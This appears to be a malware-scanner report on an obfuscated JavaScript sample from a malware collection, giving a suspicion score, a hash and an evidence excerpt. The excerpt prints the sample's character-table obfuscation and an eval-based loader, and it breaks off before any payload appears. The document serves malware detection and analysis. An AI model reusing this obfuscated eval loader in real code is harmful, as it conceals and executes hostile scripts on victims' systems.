Suspicious ^80% javascript-malware-collection Download

20151208_2a324e541d8c7af1c9853c84a3010d35.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2561139069bf8439712d183d14a413fce239a86a2115e74a778884c387ddebd2330

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var NutxJVchPlwxM=[];for(lTGakcK=(-591+591)/425;lTGakcK<(123024+496)/965;lTGakcK++){NutxJVchPlwxM[lTGakcK]=String.fromCharCode(lTGakcK)}function rFzZx(iIjjpFXyhhr,IOGHLKNnYyLdJ,iqdrwvtE){Vmvl=parseInt(iIjjpFXyhhr,IOGHLKNnYyLdJ);egDQo=Vmvl.toString(iqdrwvtE);return egDQo;}function zMeLCLmAHWCTDqM(aIFWXKpbxlDAHhADh){eval(aIFWXKpbxlDAHhADh)}
2function EMwrVKusewzwsidoSGClhTnOMQnZmEOQADUcNLYYfBpFSQCKHfpJcv(zkTckKAcGNRei,ntlKnIIslXirfc){ return NutxJVchPlwxM[rFzZx(zkTckKAcGNRei[ntlKnIIslXirfc],(6728+862)/759,(6979+61)/704)];}
3function Xvdnwof(JphMbIYuvnernDmLeFUAlsiZJUJSnWZedkCB) {return !isNaN(parseFloat(JphMbIYuvnernDmLeFUAlsiZJUJSnWZedkCB)) && isFinite(JphMbIYuvnernDmLeFUAlsiZJUJSnWZedkCB);}
4function aDpzRqTqWuC(SOBdzOnE,onfoXZ){return SOBdzOnE.split(onfoXZ)}
5var n=[];n.push("13");n.push("10");n.push("13");n.push("10");n.push("118");n.push("97");n.push("114");n.push("32");n. …